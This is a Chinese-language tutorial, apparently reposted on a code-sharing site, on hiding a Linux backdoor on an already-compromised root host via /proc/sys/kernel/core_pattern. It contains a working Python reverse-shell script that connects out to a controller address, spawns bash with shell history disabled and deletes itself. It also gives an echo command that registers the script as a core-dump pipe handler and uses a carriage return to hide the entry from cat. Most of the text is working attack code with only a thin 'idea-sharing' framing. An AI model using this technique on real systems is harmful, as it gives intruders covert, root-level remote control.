利用 /proc/sys/kernel/core_pattern隱藏系統后門



這里所說的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我們知道在Linux系統中,如果進程崩潰了,系統內核會捕獲到進程崩潰信息,然后將進程的coredump 信息寫入到文件中,這個文件名默認是core,但是也可以通過配置修改這個文件名。比如可以通過修改/proc/sys/kernel/core_pattern 文件的內容來指定。

Linux man 手冊上關於core_pattern的描述:

自Linux 內核2.6.19 之后 core_pattern 不僅僅可以包含一個指定報文coredump信息的文件名,還可以是Linux 管道加一個用戶空間的程序或者一個腳本

如果core_pattern 中第一個字符是 Linux管道符 |, 那么Linux 內核在捕獲進程崩潰信息的時候,就會以root權限執行管道符后門的程序或者腳本,將進程崩潰信息傳遞給這個程序或者腳本,這就給我們提供了一個隱藏系統后門的方法,我們可以在管道符后面隱藏我們的后門腳本,以實現在特定條件下反彈shell

下面實例演示使用此方法隱藏后門

0x01. 實例演示

試驗環境:

    10.1.100.2          控制端 (centos7)

    10.1.100.3          victim (kali2)

控制端執行監聽,等待后門連接:

被控端(這里的被控端指的就是我們滲透成功的victim機器,root權限)執行以下配置:

1、准備后門腳本

事先准備好反彈shell后門腳本,保存為/tmp/.x.py ,這個腳本在進程崩潰的時候被內核執行(那就是以root權限執行了),腳本代碼如下:
[code]#!/usr/bin/env python
    # -- coding:utf8 --

    import os
    import pty
    import socket
    
    lhost = "10.1.100.2" # XXX: CHANGEME
    lport = 31337 # XXX: CHANGEME
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        os.remove('/tmp/x.py')   # 銷毀自身
        s.close()
        
    if name == "main":
        main()[/code]

非常簡單的一段py腳本, 可以用來反彈一個shell

然后執行以下命令,給腳本賦予執行權限

    chmod 755 /tmp/x.py

  1. 修改core_pattern的內容

然后再修改/proc/sys/kernel/core_pattern的內容,執行如下命令:

    echo -e "|/tmp/.x.py \rcore       " >  /proc/sys/kernel/core_pattern

注: core 后面有若干空格,不可省略 (多余的空格是為了在顯示的時候遮蓋前面的內容)

我們看一下此刻/proc/sys/kernel/core_pattern 中的內容

用cat命令查看

只顯示 'core      ', 而|/tmp/x.py 卻不見了,這是為何?

這是因為 \r (在Linux系統中意為:將光標移動至行首,卻不換行),終端在顯示的時候core      覆蓋了 |/tmp/.x.py 的顯示,給人造成一種迷惑,以達到隱藏|/tmp/.x.py 的目的

3、演示程序崩潰,觸發后門執行

接下來就是觸發系統程序崩潰了,為了演示, 我寫了一段含有錯誤的代碼(實際環境上可能要等待某個進程崩潰)
    
[code]#include <stdio.h>
    int main(void)
    {
    ((int )0) = 0;
    int a = NULL;
    
a = 0x1;
    return 0;
    }[/code]

執行以下命令編譯:

增加權限 chmod 755 a.out

然后執行./a.out,使程序崩潰 (看到 core dumped 即表示程序已經崩潰,測試的時候需要適當設置ulimit的值)

然后我們的監聽端就已經獲取到了系統shell

0x02. 總結

本文旨在提供一種思路分享,希望大家多提意見改進


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM